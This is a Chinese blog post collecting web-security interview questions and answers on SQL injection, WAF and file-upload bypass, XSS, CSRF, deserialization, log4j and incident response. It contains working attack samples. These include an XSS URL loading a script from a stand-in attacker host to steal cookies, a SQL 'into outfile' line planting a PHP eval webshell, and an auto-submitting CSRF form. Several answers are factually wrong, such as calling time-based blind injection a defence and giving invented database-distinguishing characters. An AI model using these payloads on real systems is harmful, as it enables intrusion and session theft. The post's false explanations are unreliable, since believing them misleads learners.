Paul C's Blog

To be funny,to grow up!

0%

网安面试问题汇总

1.SQL注入的WAF绕过

  • 白盒 框架源码,代码审计
  • 黑盒绕过
    • 架构层绕过
    • 资源限制角度绕过
    • 协议层
    • 规则层面绕过

架构层绕过

寻找源站点地址(适用于网站使用云WAF场景);

利用同网段主机(同网段主机可以直接交换帧,无需交换机/网桥的转发)或服务器进行内网注入

通过网桥连接多个以太网成为覆盖更大的以太网(局域网:以太网,令牌环网,FDDI)。

碰撞/冲突域:任意两台主机通信(使用信道时,其他主机无法通信)——介质访问控制

资源限制角度绕过

  • 多试一试,利用数据库特性
  • 改其他格式文件,burp改文件后缀
  • post的内容足够多——一个大的body;由于在线WAF会考虑速度,对大文件一般不过滤;

  • 借助畸形包,或者模糊测试fuzz。

协议层绕过

  • 参数污染,代入多个参数,有的WAF只能识别一个参数,可以在第二个参数后面带sql语句。
1
url.php?id=1&id=2

规则层的绕过

  • 注释符号#,‘ ’空白符号,函数分割,浮点数

  • error-base,mysql特殊语法绕过

2.文件上传漏洞的绕过

  • 修改后缀
  • 绕后端:MineType,即修改Content-Type类型,%00截断(伪造合法文件头)
  • Content-Disposition’…’ filename=”1.jpg;.php” || 去掉双引号 || 把p h p换行 ||php5
  • webshell放入jpg;改幻数头字节,判断文件格式一般靠前10个字节。

文件上传漏洞的防护手段

  • js过滤
  • 限制文件大小
  • 随机数改写文件名,取消执行权限,将文件强制重命名另存储
  • 竞争条件??
  • 后端设置白名单(更安全,使用递归过滤,防治覆写)和黑名单(可能会有遗漏,可能靠大小写可以绕过)

3.XSS原理

http://www.atomsec.org/%E5%AE%89%E5%85%A8/%E5%8F%8D%E5%B0%84%E5%9E%8Bxss%E6%B5%8B%E8%AF%95%E5%8F%8A%E4%BF%AE%E5%A4%8D/

跨站脚本攻击,允许恶意web用户将代码植入到提供给其它用户使用的页面中,用户访问时将会自动执行。

分为存储型,反射型和DOM型。

3.1 攻击办法:

闭合标签,使我的内容能被解析成可执行语句;对url和参数进行各种编码(比如16禁止和8进制)

3.2 防御手段:

将特殊字符过滤(“,<,>,&”),使其成为不能被html执行的字符;

做白名单过滤,专门过滤,使用内容安全的策略CSP(规定客户端哪些内容可以加载);

禁止非同源网站读cookie

  • 反射型(给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。)

  • 存储型——把用户cookie信息发到攻击者服务器

1
2
3
在搜索框输入这一行在服务器上直接被解析成了js语句;
 “<script>alert(1)</script>”
search.php?q=%3Cscript+src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E

当用户登陆了网站后,再欺骗用户点击这个链接才可以窃取用户的cookie。

深信服安全岗面试题

1.sql注入如何读写文件,二次注入,防御方式?

1
2
3
4
5
6
7
8
9
10
11
12
13
#读:
select load_file('C:\\key.txt')
#写:
开权限:secure_file_priv into outfile
unoion select 1,'<?php @eval($_POST[‘mima’]);?>',3 into outfile "C:\\test\shellcode.php"
#二次注入
admin'-- #借助--把后面的语句注释了
select ... username='admin'-- and password='xxx'
#sql注入的防御
- 预编译,例如Java中PrepareStatement,从结构上限制编写;
Mybatis?? #预编译 $进行替换
- 参数判断,强转参数int(and 1==1--+)

2.CSRF和XSS的区别

XSS,原来叫做CSS (Cross Site Script) ,跨站调用脚本攻击站内的信任用户,盗取cookie;

CSRF通过伪装成受信任用户请求受信任的网站;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%
s = "<form method='post' action='http://hi.baidu.com/yuxi4n/commit'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='ct'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssUse'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='1' name='spCssColorID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='-1' name='spCssLayoutID'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='http://hi.baidu.com/yuxi4n/modify/spcss/20f51f4f94129a36aec3ab11.css/edit' name='spRefURL'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='5' name='cm'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='</style><script>alert(document.cookie)</script><style>' name='spCssText'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='abc' name='spCssName'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='0' name='spCssTag'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
%>

防御手段:CSRF Token+Referer的验证

http://huaidan.org/archives/2561.html,借助CSRF和其他手段,可以把反射型XSS持久化利用,不一定需要用户去点击特殊构造的链接。

排序说明:题目按照面试出现的频率由高到低依次排序,前4道题出现的概率超过90%。

01

shiro反序列化漏洞的原理

Shiro反序列化漏洞的原理是攻击者通过精心构造恶意序列化数据,使得在反序列化过程中能够执行任意代码。Shiro是一个Java安全框架,提供了身份验证、授权、加密和会话管理等功能。其中,Shiro的序列化功能可以将对象序列化为字节流,以便在不同的系统之间进行传输或者持久化存储。

然而,当Shiro反序列化一个恶意构造的序列化数据时,由于反序列化过程中没有对数据进行正确的验证和过滤,攻击者可以插入恶意的代码,这些代码在反序列化时会被执行。这可能导致攻击者获得目标系统的控制权,并进行恶意操作,如窃取数据、破坏系统等。

02

fastjson反序列化原理

Fastjson是一个Java语言编写的高性能功能完善的JSON库,它提供了JSON的序列化和反序列化功能。Fastjson的反序列化原理主要基于Java的反射机制和动态代理技术。

1.反射机制:Fastjson通过Java的反射机制获取类的字段、方法和构造器等信息,以便将JSON数据映射到对应的Java对象。在反序列化过程中,Fastjson会根据JSON数据的键值对,通过反射调用Java对象的setter方法将JSON数据转换为Java对象。

2.动态代理:Fastjson使用动态代理技术实现反序列化过程中的自动装配。当使用Fastjson反序列化一个对象时,Fastjson会为该对象创建一个动态代理对象,并通过该代理对象调用Java对象的setter方法将JSON数据转换为Java对象。这种自动装配的方式可以避免手动编写装配代码,提高开发效率。

3.自定义反序列化:除了默认的反序列化方式,Fastjson还支持自定义反序列化。用户可以通过实现一个特定的接口(如Deserializer接口)来自定义反序列化逻辑。在反序列化过程中,Fastjson会根据用户实现的自定义逻辑将JSON数据转换为Java对象。

03

中间件漏洞类型?原理以及影响版本,如何利用?

中间件是一种处于应用程序和操作系统之间的软件,用于实现跨平台、跨语言、跨网络的通信和集成。中间件漏洞是指在中间件中存在的安全漏洞,可能导致攻击者获取权限、窃取数据、控制系统等危害。

常见的中间件漏洞包括:

Apache Struts漏洞:Apache Struts是一个流行的Java Web应用程序框架,用于构建基于MVC模式的Web应用程序。Struts的漏洞主要涉及远程代码执行和文件上传漏洞。攻击者可以利用这些漏洞执行恶意代码、窃取数据或进行其他恶意操作。常见的利用方式包括利用文件上传漏洞上传恶意文件并执行,或利用远程代码执行漏洞执行恶意代码。

Apache Tomcat漏洞:Apache Tomcat是一个流行的Java Web应用程序容器,用于托管Web应用程序。Tomcat的漏洞主要涉及远程代码执行和跨站脚本攻击(XSS)。攻击者可以利用这些漏洞执行恶意代码、窃取数据或进行其他恶意操作。常见的利用方式包括利用跨站脚本攻击漏洞窃取用户的会话令牌,或利用远程代码执行漏洞执行恶意代码。

Oracle WebLogic漏洞:Oracle WebLogic是一个企业级Java应用程序服务器,用于构建和管理Web应用程序。WebLogic的漏洞主要涉及远程代码执行和身份验证漏洞。攻击者可以利用这些漏洞获取系统权限、窃取数据或进行其他恶意操作。常见的利用方式包括利用身份验证漏洞使用已知的用户名和密码登录系统,或利用远程代码执行漏洞执行恶意代码。这些中间件漏洞的原理主要是攻击者通过输入恶意数据或利用程序的逻辑错误来绕过安全措施,导致安全漏洞的暴露。这些漏洞的影响版本可能因中间件的不同而有所不同,但通常会导致系统被攻击、数据泄露、服务中断等危害。

04

文件上传绕过的方法?如果是白名单,怎么绕过?

常见的文件上传绕过方法有:文件类型绕过、文件名绕过、文件内容绕过、服务器配置绕过、权限提升绕过。

对于白名单机制,它通常只允许上传特定的文件类型,而禁止上传其他类型的文件。然而,攻击者仍然可以采用以下方法来绕过白名单检查:

1.修改文件扩展名:攻击者可以将恶意文件的扩展名修改为白名单中允许的扩展名,例如将恶意可执行文件(.exe)修改为图片文件(.jpg)。这种方法可能会使文件的文件名和扩展名不一致,但仍然能够成功上传到目标系统。

2.伪造文件签名:攻击者可以使用一些工具来伪造文件的数字签名,使得恶意文件在上传时被视为合法的文件。这种方法可能会使系统对文件的信任度提高,从而更容易被攻击。

3.利用文件解析漏洞:有些应用程序在解析上传的文件时会存在漏洞,攻击者可以利用这些漏洞来绕过白名单检查。例如,攻击者可以构造一个特殊格式的文件,使得应用程序在解析时出现错误,从而允许恶意文件的上传。

05

如何知道当前sqlservere的用户权限

要了解SQL Server当前用户的权限,可以采取以下方法:

使用系统视图:查询系统视图是获取SQL Server用户权限信息的一种有效方法。例如,查询sys.fn_my_permissions函数可以获取当前登录用户的权限信息。

执行存储过程:通过执行存储过程Transact-SQL (T-SQL)中的特定存储过程,例如sp_helprolemember,可以获取有关数据库角色成员和其权限的信息。

使用SQL Server Management Studio (SSMS):通过SSMS连接到SQL Server实例,在“对象资源管理器”窗口中展开相应的数据库,右键单击数据库,然后选择“查看所有对象”或类似选项,以查看与权限相关的对象。

使用安全对象:在SQL Server中,安全对象如登录名、数据库、端点等都包含权限信息。通过查询相应的系统表和视图,可以获取与这些对象相关的权限信息。

06

时间盲注如何使用,有哪些函数

时间盲注是一种针对SQL注入攻击的防御手段,利用了数据库在处理SQL查询时的行为差异,通过在查询中添加额外的逻辑判断来检测潜在的注入攻击。

以下是时间盲注的一些常见函数:

IF函数:该函数用于根据条件判断执行不同的操作。在时间盲注中,可以使用IF函数来检查查询的执行时间是否符合预期,从而判断是否发生了注入攻击。

BENCHMARK函数:该函数用于计算代码块的执行时间。在时间盲注中,可以使用BENCHMARK函数来设置一个时间阈值,通过比较查询的执行时间是否超过该阈值来检测注入攻击。

SUBSTRING函数:该函数用于提取字符串的子串。在时间盲注中,可以使用SUBSTRING函数来获取查询结果中的特定字段,并根据字段的内容来判断是否发生了注入攻击。

CAST函数:该函数用于将数据类型转换为另一种数据类型。在时间盲注中,可以使用CAST函数来将查询结果转换为数字类型,以便进行数值比较和逻辑判断。

CASE语句:该语句用于根据条件执行不同的代码块。在时间盲注中,可以使用CASE语句来根据查询结果的不同情况进行不同的操作,从而检测注入攻击。

07

log4j漏洞原理

log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

具体来说,log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。当日志中包含${}时,log4j会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容)。使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了log4j的漏洞。

08

如果一台服务被攻击了,你该怎么做应急响应?

1.隔离和保护:首先,要迅速隔离受攻击的服务,以防止攻击者进一步渗透。这可能包括关闭服务、限制网络访问或实施其他安全措施。同时,确保该服务不再接收新的请求或连接。

2.收集证据:在确保服务安全的前提下,收集有关攻击的证据。这可能包括检查系统日志、网络流量和任何可疑的文件或活动,记录下所有相关信息,以便后续分析和报告。

3.调查和分析:对攻击进行深入调查,了解攻击者的动机、手段和目标。分析攻击的来源、路径和潜在漏洞。

4.恢复和修复:一旦了解了攻击的性质和来源,采取必要的措施修复漏洞并恢复服务,包括更新软件、修复配置错误或增强安全措施,确保在恢复过程中保持谨慎,避免引入新的安全风险。

5.通知和通报:根据调查结果,向相关利益相关者(如客户、股东、管理层等)通报攻击事件,提供详细的情况说明,并解释所采取的措施和未来的改进计划。

6.改进和预防:对攻击事件进行反思和总结,识别出系统或流程中的薄弱环节。根据分析结果,采取预防措施来减少未来再次受到攻击的风险,包括加强安全策略、提升员工培训、增加安全监控等。

7.记录和报告:按照公司政策和相关法规要求,对攻击事件进行详细记录,报告给适当的监管机构或法律部门,以便他们进行进一步调查和采取适当的行动。

09

SQL注入时,如何区分是MySQL、MS SQL还是Oracle

可以通过一些特定的方法来区分所使用的数据库类型,以下是一些常见的技巧:

特殊字符:不同的数据库有不同的保留字符。例如,MySQL使用%和_,MS SQL Server使用%和@,Oracle使用%和#。因此,在尝试注入时,可以尝试使用这些字符来区分数据库类型。

错误消息:当尝试注入时,不同的数据库会返回不同的错误消息。例如,MySQL在尝试访问不存在的表时会返回”Table does not exist”错误,而MS SQL Server在尝试类似操作时会返回”Invalid object name”错误。通过观察错误消息,可以尝试确定正在使用的数据库类型。

响应时间:某些情况下,不同数据库对SQL查询的响应时间可能会有所不同。例如,Oracle通常比MySQL和MS SQL Server对查询的响应要慢一些。虽然这种方法不是特别准确,但在某些情况下可能有助于区分数据库类型。

使用特定命令:对于某些特定的SQL注入攻击,可以使用针对特定数据库的命令。例如,使用SELECT COUNT(*)可以用于确定大多数数据库的类型,因为这是一个标准的SQL命令。然而,针对某些特定的数据库,如Oracle,可能需要使用不同的命令。

利用已知漏洞:如果已经知道目标数据库存在某个已知的漏洞,那么可以通过尝试利用该漏洞来区分数据库类型。例如,某些针对Oracle的特定漏洞可能不会影响MySQL或MS SQL Server。

10

CSRF和SSRF原理、区别、防御方法

CSRF(Cross-Site Request Forgery)原理:CSRF是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。它是一种利用用户在已登录的网站中提交非法请求的行为,攻击者通过伪造用户提交的请求,将恶意请求发送至受信任的网站,导致用户在不知情的情况下执行恶意操作。

SSRF(Server Side Request Forgery)原理:SSRF是一种服务器端请求伪造的安全漏洞。它是由攻击者构造形成,由服务端发起的请求。由于服务端对用户提供的可控URL地址过于信任,没有经过严格检测,攻击者可以以此为跳板攻击内网或其他服务器。

两者区别:CSRF是用户端发起请求,攻击者利用用户的Cookie信息伪造用户请求发送至服务器;而SSRF是服务端发起的请求,攻击者通过构造指定URL地址获取网页文本内容、加载指定地址的图片、下载等方式,利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

在防御方面,可以采用以下方法:

1.禁止跳转;

2.过滤返回信息,验证远程服务器对请求的响应是否符合标准;

3.禁用不需要的协议,如file://, gopher://, ftp://等;

4.设置URL白名单或限制内网IP(使用gethostbyname()判断是否为内网IP);

5.限制请求的端口为http常用的端口,例如80、443、8080、8090等;

6.统一错误信息,避免用户根据错误信息判断远端服务器的端口状态。

11

一个网站拿到shell后会关注哪些信息

服务器信息:攻击者会查看服务器的操作系统、版本、配置等信息,以便了解目标服务器的环境及可能存在的漏洞。

数据库信息:攻击者通常会关注目标网站使用的数据库类型、版本及配置信息,以便寻找潜在的漏洞并进行利用。

敏感文件和命令:攻击者会查找与网站相关的敏感文件和命令,例如网站源代码、配置文件、数据库连接文件等,以进一步了解目标网站的结构和功能。

用户凭据信息:攻击者会查找存储在服务器上的用户凭据信息,如用户名、密码等,利用这些信息进行提权或攻击其他系统。

网络拓扑结构:攻击者会尝试了解目标网站的网络拓扑结构,包括与外部系统的连接情况、内部系统的分布等,以判断可能存在的攻击面和风险。

安全更新和补丁信息:攻击者会关注服务器的安全更新和补丁信息,以确定是否存在未打补丁的漏洞,并尝试利用这些漏洞进行更深入的攻击。

其他敏感信息:攻击者还会关注其他可能与目标网站相关的敏感信息,如访问日志、数据库备份文件等,以寻找可能的漏洞和机会。

12

常见代理、端口转发工具

Proxifier:跨平台的端口转发和代理工具,适用于Windows、Linux和MacOS平台。

Proxychains:Linux平台下老牌的socks代理工具,一般的系统都会自带。

ssh proxy:通过ssh做端口代理和转发,一般Linux系统都自带。

netcat:socat、hping在很多情况下可以做端口转发和数据代理转发。

Metasploit:Metasploit的后渗透模块中有不少代理模块和端口转发模块。

13

通过蚁剑连接到shell后发现无法执行命令怎么办

可以尝试以下方法解决:

检查权限:确认当前用户是否具有执行命令的权限。如果没有足够的权限,需要尝试提升权限或使用其他具有更高权限的用户登录。

查看系统配置:检查服务器的系统配置,确认是否有限制执行命令的相关设置,如禁用了一些命令或限制了某些用户的权限。

确认连接状态:检查当前连接是否稳定,可以尝试重新连接或刷新连接。

使用其他工具:尝试使用其他工具如Metasploit、Nmap等来执行命令或获取更多信息。

寻找漏洞:尝试寻找目标系统中的漏洞,并利用漏洞来获取更高权限或执行命令。

14

怎样理解应急响应

应急响应是指当发生网络安全事件或攻击时,组织或企业采取的紧急应对措施,以最大限度地减少损失并尽快恢复正常的业务运营。可以分为以下几个关键步骤:

识别攻击:建立一套有效的监测和警报机制,及时发现并识别潜在的攻击,可能涉及监控网络流量、分析系统日志、检测异常行为等。

隔离和限制:一旦识别出攻击,应立即采取措施隔离攻击者,限制其对系统或网络的进一步破坏,包括关闭受影响的网络接口、阻止恶意IP地址的访问等。

收集证据:在应急响应过程中,收集有关攻击的证据非常重要,包括捕获网络流量、保存系统日志、检查恶意代码等,以便后续的分析和调查。

清理和恢复:在隔离攻击并收集证据后,组织需要迅速清理受损的系统和网络,并恢复到正常状态,涉及删除恶意软件、修复漏洞、重新配置安全设置等。

总结和学习:对事件进行全面的总结和分析,可以从中吸取教训并改进安全策略。

15

SQL注入类型

数字型注入、字符型注入、搜索型注入、联合查询注入等类型。

16

如何进行APP渗透

信息收集:了解应用程序的名称、版本、功能、架构、支持的操作系统、网络拓扑结构等信息。

漏洞扫描:使用漏洞扫描工具扫描应用程序中的漏洞,包括SQL注入、跨站脚本攻击、文件包含漏洞等。

手动测试:进行手动测试以发现漏洞和弱点,可以使用多种技术和工具进行手动测试,如代理工具、脚本、命令注入等。

漏洞分析和报告:分析扫描结果和手动测试结果,并编写漏洞报告。

17

提权的常见手法

利用漏洞提权:通过寻找系统或服务器的漏洞来实现,常见的系统漏洞包括Windows系统漏洞、Linux系统漏洞等。此外,一些Web应用程序也存在漏洞,例如SQL注入、跨站脚本攻击等,攻击者可以利用这些漏洞获取服务器的控制权。

利用服务提权:通过利用服务器上运行的服务来实现,常见的服务包括数据库服务、Web服务等。攻击者可以利用服务中的漏洞,例如Oracle数据库的“监听器溢出”漏洞、Apache Web服务器的“目录遍历”漏洞等,来获取服务器的控制权。